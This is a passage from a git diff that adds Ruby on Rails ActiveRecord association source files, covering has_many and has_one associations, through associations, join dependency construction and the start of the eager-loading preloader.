+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      def reload
+        proxy_association.reload
+        reset_scope
+      end
+
+      # Unloads the association. Returns +self+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets # uses the pets cache
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets.reset # clears the pets cache
+      #
+      #   person.pets  # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      def reset
+        proxy_association.reset
+        proxy_association.reset_scope
+        reset_scope
+      end
+
+      def reset_scope # :nodoc:
+        @offsets = {}
+        @scope = nil
+        self
+      end
+
+      delegate_methods = [
+        QueryMethods,
+        SpawnMethods,
+      ].flat_map { |klass|
+        klass.public_instance_methods(false)
+      } - self.public_instance_methods(false) - [:select] + [:scoping]
+
+      delegate(*delegate_methods, to: :scope)
+
+      private
+
+        def find_nth_with_limit(index, limit)
+          load_target if find_from_target?
+          super
+        end
+
+        def find_nth_from_last(index)
+          load_target if find_from_target?
+          super
+        end
+
+        def null_scope?
+          @association.null_scope?
+        end
+
+        def find_from_target?
+          @association.find_from_target?
+        end
+
+        def exec_queries
+          load_target
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/foreign_association.rb b/activerecord/lib/active_record/associations/foreign_association.rb
new file mode 100644
index 0000000000..40010cde03
--- /dev/null
+++ b/activerecord/lib/active_record/associations/foreign_association.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveRecord::Associations
+  module ForeignAssociation # :nodoc:
+    def foreign_key_present?
+      if reflection.klass.primary_key
+        owner.attribute_present?(reflection.active_record_primary_key)
+      else
+        false
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
new file mode 100644
index 0000000000..88fe33eef2
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Has Many Association
+  module Associations
+    # This is the proxy that handles a has many association.
+    #
+    # If the association has a <tt>:through</tt> option further specialization
+    # is provided by its child HasManyThroughAssociation.
+    class HasManyAssociation < CollectionAssociation #:nodoc:
+      include ForeignAssociation
+
+      def handle_dependency
+        case options[:dependent]
+        when :restrict_with_exception
+          raise ActiveRecord::DeleteRestrictionError.new(reflection.name) unless empty?
+
+        when :restrict_with_error
+          unless empty?
+            record = owner.class.human_attribute_name(reflection.name).downcase
+            owner.errors.add(:base, :'restrict_dependent_destroy.has_many', record: record)
+            throw(:abort)
+          end
+
+        when :destroy
+          # No point in executing the counter update since we're going to destroy the parent anyway
+          load_target.each { |t| t.destroyed_by_association = reflection }
+          destroy_all
+        else
+          delete_all
+        end
+      end
+
+      def insert_record(record, validate = true, raise = false)
+        set_owner_attributes(record)
+        super
+      end
+
+      def empty?
+        if reflection.has_cached_counter?
+          size.zero?
+        else
+          super
+        end
+      end
+
+      private
+
+        # Returns the number of records in this collection.
+        #
+        # If the association has a counter cache it gets that value. Otherwise
+        # it will attempt to do a count via SQL, bounded to <tt>:limit</tt> if
+        # there's one. Some configuration options like :group make it impossible
+        # to do an SQL count, in those cases the array count will be used.
+        #
+        # That does not depend on whether the collection has already been loaded
+        # or not. The +size+ method is the one that takes the loaded flag into
+        # account and delegates to +count_records+ if needed.
+        #
+        # If the collection is empty the target is set to an empty array and
+        # the loaded flag is set to true as well.
+        def count_records
+          count = if reflection.has_cached_counter?
+            owner._read_attribute(reflection.counter_cache_column).to_i
+          else
+            scope.count
+          end
+
+          # If there's nothing in the database and @target has no new records
+          # we are certain the current target is an empty array. This is a
+          # documented side-effect of the method that may avoid an extra SELECT.
+          (@target ||= []) && loaded! if count == 0
+
+          [association_scope.limit_value, count].compact.min
+        end
+
+        def update_counter(difference, reflection = reflection())
+          if reflection.has_cached_counter?
+            owner.increment!(reflection.counter_cache_column, difference)
+          end
+        end
+
+        def update_counter_in_memory(difference, reflection = reflection())
+          if reflection.counter_must_be_updated_by_has_many?
+            counter = reflection.counter_cache_column
+            owner.increment(counter, difference)
+            owner.send(:clear_attribute_change, counter) # eww
+          end
+        end
+
+        def delete_count(method, scope)
+          if method == :delete_all
+            scope.delete_all
+          else
+            scope.update_all(reflection.foreign_key => nil)
+          end
+        end
+
+        def delete_or_nullify_all_records(method)
+          count = delete_count(method, scope)
+          update_counter(-count)
+        end
+
+        # Deletes the records according to the <tt>:dependent</tt> option.
+        def delete_records(records, method)
+          if method == :destroy
+            records.each(&:destroy!)
+            update_counter(-records.length) unless reflection.inverse_updates_counter_cache?
+          else
+            scope = self.scope.where(reflection.klass.primary_key => records)
+            update_counter(-delete_count(method, scope))
+          end
+        end
+
+        def concat_records(records, *)
+          update_counter_if_success(super, records.length)
+        end
+
+        def _create_record(attributes, *)
+          if attributes.is_a?(Array)
+            super
+          else
+            update_counter_if_success(super, 1)
+          end
+        end
+
+        def update_counter_if_success(saved_successfully, difference)
+          if saved_successfully
+            update_counter_in_memory(difference)
+          end
+          saved_successfully
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
new file mode 100644
index 0000000000..89ce00f98e
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Has Many Through Association
+  module Associations
+    class HasManyThroughAssociation < HasManyAssociation #:nodoc:
+      include ThroughAssociation
+
+      def initialize(owner, reflection)
+        super
+
+        @through_records     = {}
+        @through_association = nil
+      end
+
+      def concat(*records)
+        unless owner.new_record?
+          records.flatten.each do |record|
+            raise_on_type_mismatch!(record)
+          end
+        end
+
+        super
+      end
+
+      def concat_records(records)
+        ensure_not_nested
+
+        records = super(records, true)
+
+        if owner.new_record? && records
+          records.flatten.each do |record|
+            build_through_record(record)
+          end
+        end
+
+        records
+      end
+
+      def insert_record(record, validate = true, raise = false)
+        ensure_not_nested
+
+        if record.new_record? || record.has_changes_to_save?
+          return unless super
+        end
+
+        save_through_record(record)
+
+        record
+      end
+
+      private
+
+        def through_association
+          @through_association ||= owner.association(through_reflection.name)
+        end
+
+        # The through record (built with build_record) is temporarily cached
+        # so that it may be reused if insert_record is subsequently called.
+        #
+        # However, after insert_record has been called, the cache is cleared in
+        # order to allow multiple instances of the same record in an association.
+        def build_through_record(record)
+          @through_records[record.object_id] ||= begin
+            ensure_mutable
+
+            through_record = through_association.build(*options_for_through_record)
+            through_record.send("#{source_reflection.name}=", record)
+
+            if options[:source_type]
+              through_record.send("#{source_reflection.foreign_type}=", options[:source_type])
+            end
+
+            through_record
+          end
+        end
+
+        def options_for_through_record
+          [through_scope_attributes]
+        end
+
+        def through_scope_attributes
+          scope.where_values_hash(through_association.reflection.name.to_s).
+            except!(through_association.reflection.foreign_key,
+                    through_association.reflection.klass.inheritance_column)
+        end
+
+        def save_through_record(record)
+          association = build_through_record(record)
+          if association.changed?
+            association.save!
+          end
+        ensure
+          @through_records.delete(record.object_id)
+        end
+
+        def build_record(attributes)
+          ensure_not_nested
+
+          record = super(attributes)
+
+          inverse = source_reflection.inverse_of
+          if inverse
+            if inverse.collection?
+              record.send(inverse.name) << build_through_record(record)
+            elsif inverse.has_one?
+              record.send("#{inverse.name}=", build_through_record(record))
+            end
+          end
+
+          record
+        end
+
+        def remove_records(existing_records, records, method)
+          super
+          delete_through_records(records)
+        end
+
+        def target_reflection_has_associated_record?
+          !(through_reflection.belongs_to? && owner[through_reflection.foreign_key].blank?)
+        end
+
+        def update_through_counter?(method)
+          case method
+          when :destroy
+            !through_reflection.inverse_updates_counter_cache?
+          when :nullify
+            false
+          else
+            true
+          end
+        end
+
+        def delete_or_nullify_all_records(method)
+          delete_records(load_target, method)
+        end
+
+        def delete_records(records, method)
+          ensure_not_nested
+
+          scope = through_association.scope
+          scope.where! construct_join_attributes(*records)
+
+          case method
+          when :destroy
+            if scope.klass.primary_key
+              count = scope.destroy_all.length
+            else
+              scope.each(&:_run_destroy_callbacks)
+
+              arel = scope.arel
+
+              stmt = Arel::DeleteManager.new
+              stmt.from scope.klass.arel_table
+              stmt.wheres = arel.constraints
+
+              count = scope.klass.connection.delete(stmt, "SQL")
+            end
+          when :nullify
+            count = scope.update_all(source_reflection.foreign_key => nil)
+          else
+            count = scope.delete_all
+          end
+
+          delete_through_records(records)
+
+          if source_reflection.options[:counter_cache] && method != :destroy
+            counter = source_reflection.counter_cache_column
+            klass.decrement_counter counter, records.map(&:id)
+          end
+
+          if through_reflection.collection? && update_through_counter?(method)
+            update_counter(-count, through_reflection)
+          else
+            update_counter(-count)
+          end
+        end
+
+        def through_records_for(record)
+          attributes = construct_join_attributes(record)
+          candidates = Array.wrap(through_association.target)
+          candidates.find_all do |c|
+            attributes.all? do |key, value|
+              c.public_send(key) == value
+            end
+          end
+        end
+
+        def delete_through_records(records)
+          records.each do |record|
+            through_records = through_records_for(record)
+
+            if through_reflection.collection?
+              through_records.each { |r| through_association.target.delete(r) }
+            else
+              if through_records.include?(through_association.target)
+                through_association.target = nil
+              end
+            end
+
+            @through_records.delete(record.object_id)
+          end
+        end
+
+        def find_target
+          return [] unless target_reflection_has_associated_record?
+          super
+        end
+
+        # NOTE - not sure that we can actually cope with inverses here
+        def invertible_for?(record)
+          false
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
new file mode 100644
index 0000000000..9a88c1af70
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Has One Association
+  module Associations
+    class HasOneAssociation < SingularAssociation #:nodoc:
+      include ForeignAssociation
+
+      def handle_dependency
+        case options[:dependent]
+        when :restrict_with_exception
+          raise ActiveRecord::DeleteRestrictionError.new(reflection.name) if load_target
+
+        when :restrict_with_error
+          if load_target
+            record = owner.class.human_attribute_name(reflection.name).downcase
+            owner.errors.add(:base, :'restrict_dependent_destroy.has_one', record: record)
+            throw(:abort)
+          end
+
+        else
+          delete
+        end
+      end
+
+      def replace(record, save = true)
+        raise_on_type_mismatch!(record) if record
+        load_target
+
+        return target unless target || record
+
+        assigning_another_record = target != record
+        if assigning_another_record || record.has_changes_to_save?
+          save &&= owner.persisted?
+
+          transaction_if(save) do
+            remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
+
+            if record
+              set_owner_attributes(record)
+              set_inverse_instance(record)
+
+              if save && !record.save
+                nullify_owner_attributes(record)
+                set_owner_attributes(target) if target
+                raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
+              end
+            end
+          end
+        end
+
+        self.target = record
+      end
+
+      def delete(method = options[:dependent])
+        if load_target
+          case method
+          when :delete
+            target.delete
+          when :destroy
+            target.destroyed_by_association = reflection
+            target.destroy
+          when :nullify
+            target.update_columns(reflection.foreign_key => nil) if target.persisted?
+          end
+        end
+      end
+
+      private
+
+        # The reason that the save param for replace is false, if for create (not just build),
+        # is because the setting of the foreign keys is actually handled by the scoping when
+        # the record is instantiated, and so they are set straight away and do not need to be
+        # updated within replace.
+        def set_new_record(record)
+          replace(record, false)
+        end
+
+        def remove_target!(method)
+          case method
+          when :delete
+            target.delete
+          when :destroy
+            target.destroyed_by_association = reflection
+            target.destroy
+          else
+            nullify_owner_attributes(target)
+            remove_inverse_instance(target)
+
+            if target.persisted? && owner.persisted? && !target.save
+              set_owner_attributes(target)
+              raise RecordNotSaved, "Failed to remove the existing associated #{reflection.name}. " \
+                                    "The record failed to save after its foreign key was set to nil."
+            end
+          end
+        end
+
+        def nullify_owner_attributes(record)
+          record[reflection.foreign_key] = nil
+        end
+
+        def transaction_if(value)
+          if value
+            reflection.klass.transaction { yield }
+          else
+            yield
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/has_one_through_association.rb b/activerecord/lib/active_record/associations/has_one_through_association.rb
new file mode 100644
index 0000000000..eb54977aa0
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_one_through_association.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Has One Through Association
+  module Associations
+    class HasOneThroughAssociation < HasOneAssociation #:nodoc:
+      include ThroughAssociation
+
+      def replace(record)
+        create_through_record(record)
+        self.target = record
+      end
+
+      private
+
+        def create_through_record(record)
+          ensure_not_nested
+
+          through_proxy  = owner.association(through_reflection.name)
+          through_record = through_proxy.load_target
+
+          if through_record && !record
+            through_record.destroy
+          elsif record
+            attributes = construct_join_attributes(record)
+
+            if through_record && through_record.destroyed?
+              through_record = through_proxy.tap(&:reload).target
+            end
+
+            if through_record
+              through_record.update(attributes)
+            elsif owner.new_record?
+              through_proxy.build(attributes)
+            else
+              through_proxy.create(attributes)
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
new file mode 100644
index 0000000000..dc029c08bd
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -0,0 +1,287 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class JoinDependency # :nodoc:
+      autoload :JoinBase,        "active_record/associations/join_dependency/join_base"
+      autoload :JoinAssociation, "active_record/associations/join_dependency/join_association"
+
+      class Aliases # :nodoc:
+        def initialize(tables)
+          @tables = tables
+          @alias_cache = tables.each_with_object({}) { |table, h|
+            h[table.node] = table.columns.each_with_object({}) { |column, i|
+              i[column.name] = column.alias
+            }
+          }
+          @name_and_alias_cache = tables.each_with_object({}) { |table, h|
+            h[table.node] = table.columns.map { |column|
+              [column.name, column.alias]
+            }
+          }
+        end
+
+        def columns
+          @tables.flat_map(&:column_aliases)
+        end
+
+        # An array of [column_name, alias] pairs for the table
+        def column_aliases(node)
+          @name_and_alias_cache[node]
+        end
+
+        def column_alias(node, column)
+          @alias_cache[node][column]
+        end
+
+        Table = Struct.new(:node, :columns) do # :nodoc:
+          def column_aliases
+            t = node.table
+            columns.map { |column| t[column.name].as Arel.sql column.alias }
+          end
+        end
+        Column = Struct.new(:name, :alias)
+      end
+
+      attr_reader :alias_tracker, :base_klass, :join_root
+
+      def self.make_tree(associations)
+        hash = {}
+        walk_tree associations, hash
+        hash
+      end
+
+      def self.walk_tree(associations, hash)
+        case associations
+        when Symbol, String
+          hash[associations.to_sym] ||= {}
+        when Array
+          associations.each do |assoc|
+            walk_tree assoc, hash
+          end
+        when Hash
+          associations.each do |k, v|
+            cache = hash[k] ||= {}
+            walk_tree v, cache
+          end
+        else
+          raise ConfigurationError, associations.inspect
+        end
+      end
+
+      # base is the base class on which operation is taking place.
+      # associations is the list of associations which are joined using hash, symbol or array.
+      # joins is the list of all string join commands and arel nodes.
+      #
+      #  Example :
+      #
+      #  class Physician < ActiveRecord::Base
+      #    has_many :appointments
+      #    has_many :patients, through: :appointments
+      #  end
+      #
+      #  If I execute `@physician.patients.to_a` then
+      #    base # => Physician
+      #    associations # => []
+      #    joins # =>  [#<Arel::Nodes::InnerJoin: ...]
+      #
+      #  However if I execute `Physician.joins(:appointments).to_a` then
+      #    base # => Physician
+      #    associations # => [:appointments]
+      #    joins # =>  []
+      #
+      def initialize(base, table, associations, joins, eager_loading: true)
+        @alias_tracker = AliasTracker.create_with_joins(base.connection, base.table_name, joins)
+        @eager_loading = eager_loading
+        tree = self.class.make_tree associations
+        @join_root = JoinBase.new(base, table, build(tree, base))
+        @join_root.children.each { |child| construct_tables! @join_root, child }
+      end
+
+      def reflections
+        join_root.drop(1).map!(&:reflection)
+      end
+
+      def join_constraints(joins_to_add, join_type)
+        joins = join_root.children.flat_map { |child|
+          make_join_constraints(join_root, child, join_type)
+        }
+
+        joins.concat joins_to_add.flat_map { |oj|
+          if join_root.match? oj.join_root
+            walk join_root, oj.join_root
+          else
+            oj.join_root.children.flat_map { |child|
+              make_join_constraints(oj.join_root, child, join_type)
+            }
+          end
+        }
+      end
+
+      def aliases
+        Aliases.new join_root.each_with_index.map { |join_part, i|
+          columns = join_part.column_names.each_with_index.map { |column_name, j|
+            Aliases::Column.new column_name, "t#{i}_r#{j}"
+          }
+          Aliases::Table.new(join_part, columns)
+        }
+      end
+
+      def instantiate(result_set, aliases)
+        primary_key = aliases.column_alias(join_root, join_root.primary_key)
+
+        seen = Hash.new { |i, object_id|
+          i[object_id] = Hash.new { |j, child_class|
+            j[child_class] = {}
+          }
+        }
+
+        model_cache = Hash.new { |h, klass| h[klass] = {} }
+        parents = model_cache[join_root]
+        column_aliases = aliases.column_aliases join_root
+
+        message_bus = ActiveSupport::Notifications.instrumenter
+
+        payload = {
+          record_count: result_set.length,
+          class_name: join_root.base_klass.name
+        }
+
+        message_bus.instrument("instantiation.active_record", payload) do
+          result_set.each { |row_hash|
+            parent_key = primary_key ? row_hash[primary_key] : row_hash
+            parent = parents[parent_key] ||= join_root.instantiate(row_hash, column_aliases)
+            construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases)
+          }
+        end
+
+        parents.values
+      end
+
+      private
+
+        def make_constraints(parent, child, tables, join_type)
+          chain         = child.reflection.chain
+          foreign_table = parent.table
+          foreign_klass = parent.base_klass
+          child.join_constraints(foreign_table, foreign_klass, join_type, tables, chain)
+        end
+
+        def make_outer_joins(parent, child)
+          join_type = Arel::Nodes::OuterJoin
+          make_join_constraints(parent, child, join_type, true)
+        end
+
+        def make_join_constraints(parent, child, join_type, aliasing = false)
+          tables = aliasing ? table_aliases_for(parent, child) : child.tables
+          joins  = make_constraints(parent, child, tables, join_type)
+
+          joins.concat child.children.flat_map { |c| make_join_constraints(child, c, join_type, aliasing) }
+        end
+
+        def table_aliases_for(parent, node)
+          node.reflection.chain.map { |reflection|
+            alias_tracker.aliased_table_for(
+              reflection.table_name,
+              table_alias_for(reflection, parent, reflection != node.reflection),
+              reflection.klass.type_caster
+            )
+          }
+        end
+
+        def construct_tables!(parent, node)
+          node.tables = table_aliases_for(parent, node)
+          node.children.each { |child| construct_tables! node, child }
+        end
+
+        def table_alias_for(reflection, parent, join)
+          name = "#{reflection.plural_name}_#{parent.table_name}"
+          join ? "#{name}_join" : name
+        end
+
+        def walk(left, right)
+          intersection, missing = right.children.map { |node1|
+            [left.children.find { |node2| node1.match? node2 }, node1]
+          }.partition(&:first)
+
+          ojs = missing.flat_map { |_, n| make_outer_joins left, n }
+          intersection.flat_map { |l, r| walk l, r }.concat ojs
+        end
+
+        def find_reflection(klass, name)
+          klass._reflect_on_association(name) ||
+            raise(ConfigurationError, "Can't join '#{klass.name}' to association named '#{name}'; perhaps you misspelled it?")
+        end
+
+        def build(associations, base_klass)
+          associations.map do |name, right|
+            reflection = find_reflection base_klass, name
+            reflection.check_validity!
+            reflection.check_eager_loadable!
+
+            if reflection.polymorphic?
+              next unless @eager_loading
+              raise EagerLoadPolymorphicError.new(reflection)
+            end
+
+            JoinAssociation.new reflection, build(right, reflection.klass)
+          end.compact
+        end
+
+        def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
+          return if ar_parent.nil?
+
+          parent.children.each do |node|
+            if node.reflection.collection?
+              other = ar_parent.association(node.reflection.name)
+              other.loaded!
+            elsif ar_parent.association_cached?(node.reflection.name)
+              model = ar_parent.association(node.reflection.name).target
+              construct(model, node, row, rs, seen, model_cache, aliases)
+              next
+            end
+
+            key = aliases.column_alias(node, node.primary_key)
+            id = row[key]
+            if id.nil?
+              nil_association = ar_parent.association(node.reflection.name)
+              nil_association.loaded!
+              next
+            end
+
+            model = seen[ar_parent.object_id][node.base_klass][id]
+
+            if model
+              construct(model, node, row, rs, seen, model_cache, aliases)
+            else
+              model = construct_model(ar_parent, node, row, model_cache, id, aliases)
+
+              if node.reflection.scope_for(node.base_klass).readonly_value
+                model.readonly!
+              end
+
+              seen[ar_parent.object_id][node.base_klass][id] = model
+              construct(model, node, row, rs, seen, model_cache, aliases)
+            end
+          end
+        end
+
+        def construct_model(record, node, row, model_cache, id, aliases)
+          other = record.association(node.reflection.name)
+
+          model = model_cache[node][id] ||=
+            node.instantiate(row, aliases.column_aliases(node)) do |m|
+              other.set_inverse_instance(m)
+            end
+
+          if node.reflection.collection?
+            other.target.push(model)
+          else
+            other.target = model
+          end
+
+          model
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
new file mode 100644
index 0000000000..a526468bf6
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require_relative "join_part"
+
+module ActiveRecord
+  module Associations
+    class JoinDependency # :nodoc:
+      class JoinAssociation < JoinPart # :nodoc:
+        # The reflection of the association represented
+        attr_reader :reflection
+
+        attr_accessor :tables
+
+        def initialize(reflection, children)
+          super(reflection.klass, children)
+
+          @reflection      = reflection
+          @tables          = nil
+        end
+
+        def match?(other)
+          return true if self == other
+          super && reflection == other.reflection
+        end
+
+        def join_constraints(foreign_table, foreign_klass, join_type, tables, chain)
+          joins         = []
+          tables        = tables.reverse
+
+          # The chain starts with the target table, but we want to end with it here (makes
+          # more sense in this context), so we reverse
+          chain.reverse_each do |reflection|
+            table = tables.shift
+            klass = reflection.klass
+
+            constraint = reflection.build_join_constraint(table, foreign_table)
+
+            joins << table.create_join(table, table.create_on(constraint), join_type)
+
+            join_scope = reflection.join_scope(table, foreign_klass)
+
+            if join_scope.arel.constraints.any?
+              joins.concat join_scope.arel.join_sources
+              right = joins.last.right
+              right.expr = right.expr.and(join_scope.arel.constraints)
+            end
+
+            # The current table in this iteration becomes the foreign table in the next
+            foreign_table, foreign_klass = table, klass
+          end
+
+          joins
+        end
+
+        def table
+          tables.first
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
new file mode 100644
index 0000000000..8a8fa8993b
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require_relative "join_part"
+
+module ActiveRecord
+  module Associations
+    class JoinDependency # :nodoc:
+      class JoinBase < JoinPart # :nodoc:
+        attr_reader :table
+
+        def initialize(base_klass, table, children)
+          super(base_klass, children)
+          @table = table
+        end
+
+        def match?(other)
+          return true if self == other
+          super && base_klass == other.base_klass
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
new file mode 100644
index 0000000000..2181f308bf
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class JoinDependency # :nodoc:
+      # A JoinPart represents a part of a JoinDependency. It is inherited
+      # by JoinBase and JoinAssociation. A JoinBase represents the Active Record which
+      # everything else is being joined onto. A JoinAssociation represents an association which
+      # is joining to the base. A JoinAssociation may result in more than one actual join
+      # operations (for example a has_and_belongs_to_many JoinAssociation would result in
+      # two; one for the join table and one for the target table).
+      class JoinPart # :nodoc:
+        include Enumerable
+
+        # The Active Record class which this join part is associated 'about'; for a JoinBase
+        # this is the actual base model, for a JoinAssociation this is the target model of the
+        # association.
+        attr_reader :base_klass, :children
+
+        delegate :table_name, :column_names, :primary_key, to: :base_klass
+
+        def initialize(base_klass, children)
+          @base_klass = base_klass
+          @children = children
+        end
+
+        def match?(other)
+          self.class == other.class
+        end
+
+        def each(&block)
+          yield self
+          children.each { |child| child.each(&block) }
+        end
+
+        # An Arel::Table for the active_record
+        def table
+          raise NotImplementedError
+        end
+
+        def extract_record(row, column_names_with_alias)
+          # This code is performance critical as it is called per row.
+          # see: https://github.com/rails/rails/pull/12185
+          hash = {}
+
+          index = 0
+          length = column_names_with_alias.length
+
+          while index < length
+            column_name, alias_name = column_names_with_alias[index]
+            hash[column_name] = row[alias_name]
+            index += 1
+          end
+
+          hash
+        end
+
+        def instantiate(row, aliases, &block)
+          base_klass.instantiate(extract_record(row, aliases), &block)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
new file mode 100644
index 0000000000..62caf02a2c
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    # Implements the details of eager loading of Active Record associations.
+    #
+    # Suppose that you have the following two Active Record models:
+    #
+    #   class Author < ActiveRecord::Base
+    #     # columns: name, age
+    #     has_many :books
+    #   end
+    #
+    #   class Book < ActiveRecord::Base
+    #     # columns: title, sales, author_id
+    #   end
+    #
+    # When you load an author with all associated books Active Record will make
+    # multiple queries like this:
+    #
+    #   Author.includes(:books).where(name: ['bell hooks', 'Homer']).to_a
+    #
+    #   => SELECT `authors`.* FROM `authors` WHERE `name` IN ('bell hooks', 'Homer')
+    #   => SELECT `books`.* FROM `books` WHERE `author_id` IN (2, 5)
+    #
+    # Active Record saves the ids of the records from the first query to use in
+    # the second. Depending on the number of associations involved there can be
+    # arbitrarily many SQL queries made.
+    #
+    # However, if there is a WHERE clause that spans across tables Active
+    # Record will fall back to a slightly more resource-intensive single query:
+    #
+    #   Author.includes(:books).where(books: {title: 'Illiad'}).to_a
+    #   => SELECT `authors`.`id` AS t0_r0, `authors`.`name` AS t0_r1, `authors`.`age` AS t0_r2,
+    #             `books`.`id`   AS t1_r0, `books`.`title`  AS t1_r1, `books`.`sales` AS t1_r2
+    #      FROM `authors`
+    #      LEFT OUTER JOIN `books` ON `authors`.`id` =  `books`.`author_id`
+    #      WHERE `books`.`title` = 'Illiad'
+    #
+    # This could result in many rows that contain redundant data and it performs poorly at scale
+    # and is therefore only used when necessary.
+    #
+    class Preloader #:nodoc:
+      extend ActiveSupport::Autoload
+
+      eager_autoload do
+        autoload :Association,           "active_record/associations/preloader/association"
+        autoload :SingularAssociation,   "active_record/associations/preloader/singular_association"
+        autoload :CollectionAssociation, "active_record/associations/preloader/collection_association"
+        autoload :ThroughAssociation,    "active_record/associations/preloader/through_association"
+
+        autoload :HasMany,             "active_record/associations/preloader/has_many"
+        autoload :HasManyThrough,      "active_record/associations/preloader/has_many_through"
+        autoload :HasOne,              "active_record/associations/preloader/has_one"
+        autoload :HasOneThrough,       "active_record/associations/preloader/has_one_through"
+        autoload :BelongsTo,           "active_record/associations/preloader/belongs_to"
+      end
+
+      # Eager loads the named associations for the given Active Record record(s).
+      #
+      # In this description, 'association name' shall refer to the name passed
+      # to an association creation method. For example, a model that specifies
+      # <tt>belongs_to :author</tt>, <tt>has_many :buyers</tt> has association
+      # names +:author+ and +:buyers+.
+      #
+      # == Parameters
+      # +records+ is an array of ActiveRecord::Base. This array needs not be flat,
+      # i.e. +records+ itself may also contain arrays of records. In any case,
+      # +preload_associations+ will preload the all associations records by
+      # flattening +records+.
+      #
+      # +associations+ specifies one or more associations that you want to
+      # preload. It may be:
+      # - a Symbol or a String which specifies a single association name. For
+      #   example, specifying +:books+ allows this method to preload all books
+      #   for an Author.
+      # - an Array which specifies multiple association names. This array
+      #   is processed recursively. For example, specifying <tt>[:avatar, :books]</tt>
+      #   allows this method to preload an author's avatar as well as all of his
+      #   books.
+      # - a Hash which specifies multiple association names, as well as
+      #   association names for the to-be-preloaded association objects. For
+      #   example, specifying <tt>{ author: :avatar }</tt> will preload a
+      #   book's author, as well as that author's avatar.
+      #
+      # +:associations+ has the same format as the +:include+ option for
+      # <tt>ActiveRecord::Base.find</tt>. So +associations+ could look like this:
+      #
+      #   :books
+      #   [ :books, :author ]
+      #   { author: :avatar }
+      #   [ :books, { author: :avatar } ]
+      def preload(records, associations, preload_scope = nil)
+        records       = Array.wrap(records).compact.uniq
+        associations  = Array.wrap(associations)
+
+        if records.empty?
+          []
+        else
+          associations.flat_map { |association|
+            preloaders_on association, records, preload_scope
+          }
+        end
+      end
+
+      private
+
+        # Loads all the given data into +records+ for the +association+.
+        def preloaders_on(association, records, scope)
+          case association
+          when Hash
+            preloaders_for_hash(association, records, scope)
+          when Symbol
+            preloaders_for_one(association, records, scope)
+          when String
+            preloaders_for_one(association.to_sym, records, scope)
+          else
+            raise ArgumentError, "#{association.inspect} was not recognized for preload"
+          end
+        end
+
+        def preloaders_for_hash(association, records, scope)
+          association.flat_map { |parent, child|
+            loaders = preloaders_for_one parent, records, scope
+
+            recs = loaders.flat_map(&:preloaded_records).uniq
+            loaders.concat Array.wrap(child).flat_map { |assoc|
+              preloaders_on assoc, recs, scope
+            }
+            loaders
+          }
+        end
+
+        # Loads all the given data into +records+ for a singular +association+.
+        #
+        # Functions by instantiating a preloader class such as Preloader::HasManyThrough and
+        # call the +run+ method for each passed in class in the +records+ argument.
+        #
+        # Not all records have the same class, so group then preload group on the reflection
+        # itself so that if various subclass share the same association then we do not split
+        # them unnecessarily
+        #
+        # Additionally, polymorphic belongs_to associations can have multiple associated
+        # classes, depending on the polymorphic_type field. So we group by the classes as
+        # well.
+        def preloaders_for_one(association, records, scope)
+          grouped_records(association, records).flat_map do |reflection, klasses|
+            klasses.map do |rhs_klass, rs|
+              loader = preloader_for(reflection, rs).new(rhs_klass, rs, reflection, scope)
+              loader.run self
+              loader
+            end
+          end
+        end
+
